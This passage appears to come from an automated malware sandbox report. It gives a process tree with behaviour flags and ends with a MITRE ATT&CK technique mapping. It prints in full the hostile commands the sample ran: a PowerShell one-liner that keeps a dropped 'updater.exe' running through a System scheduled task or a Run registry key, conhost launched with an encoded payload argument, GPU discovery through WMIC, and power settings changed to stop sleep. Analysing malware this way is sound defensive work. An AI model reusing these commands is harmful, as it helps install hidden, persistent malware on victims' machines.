PID:14328

C:\Windows\System32\powercfg.exe
powercfg /x -standby-timeout-dc 0
3⤵
PID:14024

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wsyzqeupt#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'NoteUpdateTaskMachineQC' /tr '''C:\Program Files\Notepad\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Notepad\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'NoteUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "NoteUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Notepad\Chrome\updater.exe' }
2⤵
- Modifies data under HKEY_USERS
PID:14484

C:\Windows\System32\conhost.exe
C:\Windows\System32\conhost.exe zuhwtyqtfkk
2⤵
PID:15336

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
2⤵
PID:15348

C:\Windows\System32\Wbem\WMIC.exe
wmic PATH Win32_VideoController GET Name, VideoProcessor
3⤵
PID:15324

C:\Windows\System32\conhost.exe
C:\Windows\System32\conhost.exe ozascextlcafxrlv 6E3sjfZq2rJQaxvLPmXgsH8HqLgRgcx0/LVDxBdghhCp2+hEkY7tykSHwITYgOlci3ytMC8bvXFdgLfubt31d00EGUNZvUBUebLdyQcn06lc9XyK+SQQg4bEvwPCdT2KYoSnyaznjkuq+t/WEmnCxetIZsxpO3p/zzwJI2q0v1rwbWjqgzbDndc3ETa3aKYf8EOpU9uqIUcKKIP5glSGIF5NNBIQIOxiwAszeRmTD+ssM2JwNB+ZJXRJvy123U7UEXSTx71FLoxpDYVaIMhOE++Mr3hazCz1q4t4s5o8+wL0kdpUV5VnrG7JmlnWotU5n89qBghGm+y6SMYnw4GovlYYIKPio/EJCBO4ISkMSM9oXvdK2xwDd7nOPHNI0ub2+9+yDpmbkJhXPRjLmh8EzH9no+cA8XXsDqc7l4Il6Q8HZCkxxQKp3X7QrvGtORgpsiUFRUsjuuqKF8OZDBQ643uz5XTg02QKOJfFPdU0JLRX+q6NZJdak+3EYZdI36Zgtv5L8IJAttmNYCJqIJTseVMH04bRJ5WBnXqRYehi2MM0O1YRQDI8kKVhBta2xSurnVpcEWelFYwmZuF8Vd3YhHb8yAOoY//KgjosTtbU5Co=
2⤵
PID:14528

C:\Windows\system32\taskhostw.exe
taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
1⤵
PID:2808

C:\Windows\SysWOW64\fontview.exe
"C:\Windows\SYSWOW64\fontview.exe"
2⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Checks SCSI registry key(s)
- Suspicious use of AdjustPrivilegeToken
PID:1104

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 180 -p 4948 -ip 4948
1⤵
PID:4844

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 564 -p 1944 -ip 1944
1⤵
PID:1120

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 504 -p 3624 -ip 3624
1⤵
PID:1632

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 572 -p 1644 -ip 1644
1⤵
PID:4628

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 580 -p 3336 -ip 3336
1⤵
PID:1608

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 576 -p 3336 -ip 3336
1⤵
PID:1696

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\db.dll",open
1⤵
- Process spawned unexpected child process
PID:2228

C:\Windows\SysWOW64\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\db.dll",open
2⤵
- Loads dropped DLL
PID:316

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 316 -s 600
3⤵
- Program crash
PID:1744

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 316 -ip 316
1⤵
PID:4400

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 556 -p 1620 -ip 1620
1⤵
PID:1948

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 504 -p 2152 -ip 2152
1⤵
PID:3308

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 568 -p 4840 -ip 4840
1⤵
PID:4552

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 616 -p 7096 -ip 7096
1⤵
PID:4508

C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe
C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe
1⤵
- Executes dropped EXE
PID:7568

C:\Program Files\Notepad\Chrome\updater.exe
"C:\Program Files\Notepad\Chrome\updater.exe"
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
PID:11128

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
2⤵
PID:14552

C:\Windows\System32\Wbem\WMIC.exe
wmic PATH Win32_VideoController GET Name, VideoProcessor
3⤵
PID:14512

C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe
C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe
1⤵
PID:14520

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Modify Registry

Disabling Security Tools

T1089

Virtualization/Sandbox Evasion

T1497

Impair Defenses

T1562

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

Virtualization/Sandbox Evasion

T1497

System Information Discovery